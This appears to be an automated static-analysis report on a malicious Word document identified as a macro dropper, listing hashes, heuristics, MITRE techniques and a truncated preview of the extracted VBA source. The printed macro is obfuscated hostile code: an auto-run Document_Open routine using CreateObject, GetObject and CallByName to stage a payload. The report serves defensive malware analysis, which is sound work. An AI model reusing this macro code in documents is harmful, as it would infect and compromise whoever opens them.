Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b280e336dd91640…

MALICIOUS

Office (OLE)

112.0 KB Created: 2016-04-27 22:49:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: bf6a928ec1ea0b3cfc59978316b80daa SHA-1: 02020059d4fac254cdbffe62e383ea334a1f9d6c SHA-256: 0b280e336dd91640f0a04a712b2063c9c5786c463d78e2bafca04b9ba47098b5
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The macro uses 'CreateObject' and 'GetObject' calls, typical for downloading and executing a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-1399074' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-1399074 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1399074
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14796 bytes
SHA-256: 364139b90f7fd9742f232b387476e2c9165eb113e239ee6953cdfcaa2e1c6d0d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
om7dbz.DDMQoRjo6d
End Sub
Private Function oHTZvnucSbdaGMXNk() As Integer
oHTZvnucSbdaGMXNk = 2126
End Function
Public Sub ATgjAr()
Dim QfScd5 As Object
Dim ihO3wnp As Variant, fxSEPoPytrzV As Integer
Dim j85OvD30lz As String
On Error GoTo lRxiXYrcpKMPKS
Set QfScd5 = ajneTLidrU.Ir2UUDUGwJ(QGrzjP(KkolJ3bQ85.zXNECl, 57), om7dbz.y4dW4Paqca)
fxSEPoPytrzV = tjXKawXE.CE24LeC5(QfScd5, QGrzjP(KkolJ3bQ85.DeNddK, 114))
If fxSEPoPytrzV <> om7dbz.AHostVAcVzK21 Then
Err.Raise Number:=1
End If
ihO3wnp = tjXKawXE.CE24LeC5(QfScd5, QGrzjP(KkolJ3bQ85.dPmKWoVIt, 340))
j85OvD30lz = om7dbz.K8VFl2 & om7dbz.agKo5o6wW & om7dbz.AM1G8nMHxwsb
ajneTLidrU.RHIsQQXzamNRtmh j85OvD30lz, ihO3wnp
ajneTLidrU.v1ARktfJL2lUt j85OvD30lz
Exit Sub
lRxiXYrcpKMPKS:
End Sub

Attribute VB_Name = "KkolJ3bQ85"
Attribute VB_Base = "0{A8D84ACF-192E-45DE-AF74-7857C9455AC1}{49318E2F-D03F-44D9-8F1A-8E2CBE6C2E8B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "tjXKawXE"
Private Const FkNbJA As Variant = "clHdMeGZ"
Private Const SVCfQTEz As Variant = "Ql8xVbc"
Private Function IWcqKmatE() As Variant
IWcqKmatE = om7dbz.QGrzjP(KkolJ3bQ85.QbRCTpMY, 144)
End Function
Private Function dVeFprSQ() As Variant
dVeFprSQ = om7dbz.QGrzjP(KkolJ3bQ85.aOkNrFqXRGpJiH, 52)
End Function
Private Function ltuaJLgANwUCKjc() As String
ltuaJLgANwUCKjc = om7dbz.QGrzjP(KkolJ3bQ85.RcVcZko, 129)
End Function
Public Function l7aZ8S3X(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
l7aZ8S3X = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function
Public Function uoYPb1(ByVal MEy3tFNOhauiqcc As Variant) As Variant
Set uoYPb1 = GetObject(MEy3tFNOhauiqcc)
End Function
Public Sub tmQN9NYLgV8(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1
End Sub
Public Function uikE875oaX8q1(ByVal ysmMKr As String) As Object
Set uikE875oaX8q1 = CreateObject(ysmMKr)
End Function
Public Sub GY9zkfrKLHTQzgN(ByVal e8BNpUbbbycg As Variant, ByVal KR7UG5nruz As Variant, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi
End Sub
Public Function CE24LeC5(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String) As Variant
CE24LeC5 = CallByName(e8BNpUbbbycg, jKJo3WQIsbgPiH, 2)
End Function
Public Sub nVpZOWq(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv
End Sub
Public Sub GnKAw3jL7nRs2()
Application.Run om7dbz.VKUZi2aE6IIf
End Sub
Public Function zJCApTh7DPrJc66(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant, ByVal kijgCNlt3I As Variant) As Variant
zJCApTh7DPrJc66 = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi, kijgCNlt3I)
End Function
Public Function aWTQyzC2iOKD(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant) As Variant
Set aWTQyzC2iOKD = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function
Public Sub m2zgLvK1NE3B(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String, ByVal rlcX0yZ As Variant)
CallByName e8BNpUbbbycg, jKJo3WQIsbgPiH, 4, rlcX0yZ
End Sub

Attribute VB_Name = "UwZobPDv6LkdD"
Public Function iFgaVU() As Boolean
Dim vuwK9At As Variant, lPPTlMQlaVNhTC As Object, rOTd9CDxV2 As String
For Each lPPTlMQlaVNhTC In ajneTLidrU.NuIRL7xaWA6vjIk
rOTd9CDxV2 = tjXKawXE.CE24LeC5(lPPTlMQlaVNhTC, om7dbz.QGrzjP(KkolJ3bQ85.kBknOdRewzG, 68))
For Each vuwK9At In om7dbz.kcqYdhNvvNuz5r
If om7dbz.HBIocv(rOTd9CDxV2, vuwK9At)
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.